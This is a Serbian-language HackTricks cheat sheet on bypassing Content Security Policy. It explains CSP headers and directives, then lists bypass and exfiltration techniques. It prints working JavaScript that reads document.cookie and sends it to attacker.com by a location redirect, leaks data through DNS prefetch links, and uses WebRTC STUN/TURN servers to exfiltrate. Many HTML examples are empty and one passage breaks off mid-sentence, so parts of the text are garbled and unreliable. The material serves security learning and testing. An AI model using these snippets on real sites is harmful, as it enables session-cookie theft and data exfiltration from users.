# Bypassovanje politike bezbednosti sadržaja (CSP)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! **Uvidi u hakovanje**\ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja **Vesti o hakovanju u realnom vremenu**\ Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu **Najnovije objave**\ Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme **Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! ## Šta je CSP Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pre svega namenjena **zaštiti od napada kao što je cross-site scripting (XSS)**. Ona funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitavati resurse. Ovi resursi obuhvataju razne elemente kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući inline resurse i izvršavanje string koda putem funkcija poput `eval`, `setTimeout` ili `setInterval`. Implementacija CSP-a se vrši putem **odgovora zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. Nakon primene ove politike, pregledači proaktivno sprovode ove odredbe i odmah blokiraju svako otkriveno kršenje. - Implementirano putem zaglavlja odgovora: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - Implementirano putem meta oznake: ```xml ``` ### Zaglavlja CSP se može primeniti ili pratiti pomoću ovih zaglavlja: * `Content-Security-Policy`: Primenjuje CSP; pregledač blokira svako kršenje pravila. * `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja pravila bez blokiranja. Idealno za testiranje u pre-produkcionim okruženjima. ### Definisanje resursa CSP ograničava poreklo za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript koda i korišćenje `eval()`. Primer politike je: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Direktive * **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem event handlera ili XSLT stilova. * **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada određene direktive za preuzimanje nisu prisutne. * **child-src**: Određuje dozvoljene resurse za web radnike i ugrađeni sadržaj okvira. * **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse poput fetch, WebSocket, XMLHttpRequest. * **frame-src**: Ograničava URL-ove za okvire. * **frame-ancestors**: Određuje koji izvori mogu ugraditi trenutnu stranicu, primenjivo na elemente poput ``, ` // The bot will load an URL with the payload ``` ### Preko Bookmarklet-a Ovaj napad podrazumeva neku vrstu socijalnog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarklet-a u pregledaču**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba kada se prevuče i klikne, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni. Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### Zaobilaženje CSP ograničenjem CSP-a U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem restriktivnijeg CSP-a unutar dozvoljenog iframe-a koji onemogućava učitavanje određene JS datoteke koja, zatim, putem **zagađivanja prototipa** ili **zagađivanja DOM-a** omogućava **zloupotrebu drugog skripta za učitavanje proizvoljnog skripta**. Možete **ograničiti CSP iframe-a** pomoću atributa **`csp`**: {% code overflow="wrap" %} ```html ``` {% endcode %} U [**ovom CTF izveštaju**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** ograničiti **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i samim tim je **ranjivost postala iskoristiva**.\ CSP može biti postavljen restriktivnije korišćenjem **HTML meta tagova**, a inline skripte mogu biti onemogućene **uklanjanjem** unosa koji dozvoljava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**: ```html ``` ### JS eksfiltracija pomoću Content-Security-Policy-Report-Only Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), možete ga naterati da upućuje na vaš server i ako **obuhvatite** JS sadržaj koji želite da eksfiltrirate sa **`` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Osim toga, zbog instaliranog WordPress-a, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** kako bi korisniku dala više privilegija, instalirala novi dodatak... Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Bypass-ovi CSP eksfiltracije Ako postoji strogi CSP koji vam ne dozvoljava da **interagujete sa spoljnim serverima**, postoje neke stvari koje uvek možete uraditi da biste eksfiltrirali informacije. ### Location Jednostavno možete ažurirati lokaciju kako biste poslali tajne informacije na server napadača: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta oznaka Možete preusmeriti ubrizgavanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj) ```html ``` ### DNS Prefetch Da biste ubrzali učitavanje stranica, pregledači unapred rešavaju imena hostova u IP adrese i keširaju ih za kasniju upotrebu. Možete navesti pregledač da unapred rešava ime hosta koristeći: `` Možete zloupotrebiti ovu funkcionalnost da **izfiltrirate osetljive informacije putem DNS zahteva**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Još jedan način: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Da biste to izbegli, server može poslati HTTP zaglavlje: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Očigledno, ova tehnika ne funkcioniše u headless browserima (botovima). {% endhint %} ### WebRTC Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a. Zapravo, možete _procuriti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Druga opcija: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## Provera CSP politika online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatsko kreiranje CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Reference * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! **Hacking Insights**\ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja **Real-Time Hack News**\ Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu **Latest Announcements**\ Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme **Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.